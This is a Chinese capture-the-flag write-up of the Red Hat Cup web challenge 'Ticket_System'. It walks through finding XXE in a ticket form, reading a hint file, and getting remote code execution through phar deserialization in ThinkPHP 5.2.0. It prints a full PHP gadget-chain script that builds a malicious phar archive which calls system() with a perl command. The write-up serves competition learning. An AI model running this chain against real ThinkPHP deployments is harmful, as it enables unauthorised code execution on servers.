第三届红帽杯 web题 Ticket_System

Ticket_System

首先查看一下源码,发现有hint
第三届红帽杯 web题 Ticket_System_第1张图片告诉我们hint.txt不在web根目录,在服务器根目录。

接着随便输入一下,登进去,界面如下
第三届红帽杯 web题 Ticket_System_第2张图片可以上传xml文件,或者填TICKET表单。
fuzz了半天发现文件上传这边好像是白名单,应该是没有洞了,那就只能着手于这个Ticket表单了,填入一些内容 submit,抓一下包康康?

第三届红帽杯 web题 Ticket_System_第3张图片
这边貌似有xxe??????
第三届红帽杯 web题 Ticket_System_第4张图片
果然有xxe,我们看一下hint.txt里面是什么
在这里插入图片描述
要我们去执行RCE,之前的报错页面可以知到这边用的是thinkphp5.2.0
第三届红帽杯 web题 Ticket_System_第5张图片
然而xxe的时候不仅仅可以用file协议的,还可以用phar协议
第三届红帽杯 web题 Ticket_System_第6张图片
phar序列化走一波 ???嘿嘿嘿 ,下面我们开始构造
由于我之前已经做过了,这边执行readflag的时候有一个坑点
在这里插入图片描述
要让你快速计算
这篇文章有详解
https://zhuanlan.zhihu.com/p/65202417
所以我们先上传一个perl文件,注意这里要将其后缀改为.xml
在这里插入图片描述现在开始构造,代码如下(这里用的smi1e师傅的链)


namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("perl /tmp/uploads/4c7e666e48a33cbf1a0fb89ac69c1014/20191110/d46fcd63923e7897cc7674913a47a99f.xml");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("1.phar");
    $phar = new Phar("1.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

生成出来的1.phar改一下后缀为1.xml,上传上去,得到路径后,直接phar协议搞到flag
第三届红帽杯 web题 Ticket_System_第7张图片

你可能感兴趣的:(ctf)